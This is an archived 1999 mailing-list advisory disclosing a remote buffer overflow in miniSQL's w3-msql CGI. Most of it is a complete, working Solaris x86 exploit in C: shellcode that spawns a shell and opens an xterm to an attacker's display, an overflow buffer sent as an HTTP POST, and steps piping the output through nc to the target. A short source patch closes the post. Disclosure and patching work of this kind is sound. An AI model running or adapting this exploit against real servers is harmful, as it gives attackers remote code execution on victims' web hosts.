remote buffer overflow in miniSQL

From: Zhodiac (zhodiacat_private)
Date: Mon Dec 27 1999 - 14:30:22 PST

  • Next message: Kevin_Lynchat_private: "Re: Lotus Domino HTTP denial of service attack" 

     !Hispahack Research Team
 http://hispahack.ccc.de

 Program: w3-msql (miniSQL 2.0.4.1 - 2.0.11)
 Platform: *nix
 Risk: Remote access
 Author: Zhodiac <zhodiacat_private>
 Date: 24/12/1999


 - Problem:
 ===========

    Distribution of miniSQL packet (http://hughes.com.au) comes with a cgi
 (w3-msql) that can be xploited to run arbitrary code under httpd uid.

    It has some overflows, the xploited one was due of the misuse of the
 scanf() function.

    We notify the programer/s about the porblem one month ago, without
 having any reply yet.

 - Exploit:
 ==========

     For proof of vulnerability we release the Solaris x86 xploit. But be
 aware, no public xploit for your system does not mean you can't be
 hacked. Vulnerability exists, fix it!

------- w3-msql-xploit.c ----------

/*
 * !Hispahack Research Team
 * http://hispahack.ccc.de
 *
 * Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
 *
 * Platform: Solaris x86
 *           Feel free to port it to other arquitectures, if you can...
 *           If so mail me plz.
 *
 * By: Zhodiac <zhodiacat_private>
 *
 * Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
 *        2) xhost +<target_ip>
 *        3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
 *        4) Take a cup of cofee, some kind of drug or wathever
 *           estimulates you at hacking time... while the xterm is comming
 *           or while you are getting raided.
 *
 * #include <standard/disclaimer.h>
 *
 * Madrid, 28/10/99
 *
 * Spain r0x
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/******************/
/* Customize this */
/******************/
//#define LEN_VAR         50     /* mSQL 2.0.4 - 2.0.10.1 */
#define LEN_VAR       128    /* mSQL 2.0.11 */

// Solaris x86
#define ADDR 0x8045f8

// Shellcode Solaris x86
char shellcode[]= /* By Zhodiac <zhodiacat_private> */
 "\x8b\x74\x24\xfc\xb8\x2e\x61\x68\x6d\x05\x01\x01\x01\x01\x39\x06"
 "\x74\x03\x46\xeb\xf9\x33\xc0\x89\x46\xea\x88\x46\xef\x89\x46\xfc"
 "\x88\x46\x07\x46\x46\x88\x46\x08\x4e\x4e\x88\x46\xff\xb0\x1f\xfe"
 "\xc0\x88\x46\x21\x88\x46\x2a\x33\xc0\x89\x76\xf0\x8d\x5e\x08\x89"
 "\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x50\x8d\x5e\xf0\x53\x56\x56\xb0"
 "\x3b\x9a\xaa\xaa\xaa\xaa\x07\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
 "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
 "/bin/shA-cA/usr/openwin/bin/xtermA-displayA";

#define ADDR_TIMES      12
#define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
#define NOP     0x90

int main (int argc, char *argv[]) {

char *buf, *ptr;
long addr=ADDR;
int aux;

 if (argc<3){
   printf("Usage: %s target display | nc target 80 \n",argv[0]);
   exit(-1);
   }

 if ((buf=malloc(BUFSIZE))==NULL) {
       perror("malloc()");
       exit(-1);
      }

 shellcode[44]=(char)strlen(argv[2])+43;

 ptr=(char *)buf;
 memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
 ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
 memcpy(ptr,shellcode,strlen(shellcode));
 ptr+=strlen(shellcode);
 memcpy(ptr,argv[2],strlen(argv[2]));
 ptr+=strlen(argv[2]);

 for (aux=0;aux<ADDR_TIMES;aux++) {
   ptr[0] = (addr & 0x000000ff);
   ptr[1] = (addr & 0x0000ff00) >> 8;
   ptr[2] = (addr & 0x00ff0000) >> 16;
   ptr[3] = (addr & 0xff000000) >> 24;
   ptr+=4;
   }

 printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0\n");
 printf("Connection: Keep-Alive\n");
 printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686\n");
 printf("Host: %s\n",argv[1]);
 printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg\n");
 printf("Accept-Encoding: gzip\n");
 printf("Accept-Language: en\n");
 printf("Accept-Charset: iso-8859-1,*,utf-8\n");
 printf("Content-type: multipart/form-data\n");
 printf("Content-length: %i\n\n",BUFSIZE);

 printf("%s \n\n\n",buf);

 free(buf);

}

------- w3-msql-xploit.c ---------


 - Fix:
 ======

   Best solution is to wait for a new patched version, meanwhile here you
 have a patch that will stop this attack and some other (be aware that
 this patch was done after a total revision of the code, maybe there are
 some other overflows).

------ w3-msql.patch ---------

410c410
<     scanf("%s ", boundary);
---
>     scanf("%128s ", boundary);
418c418
<       strcat(var, buffer);
---
>       strncat(var, buffer,sizeof(buffer));
428c428
<           scanf(" Content-Type: %s ", buffer);
---
>           scanf(" Content-Type: %15360s ", buffer);

------ w3-msql.patch ---------

 piscis:~# patch w3-msql.c w3-msql.patch
 piscis:~#

 Spain r0x

 Greetz :)

 Zhodiac

    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:23:38 PDT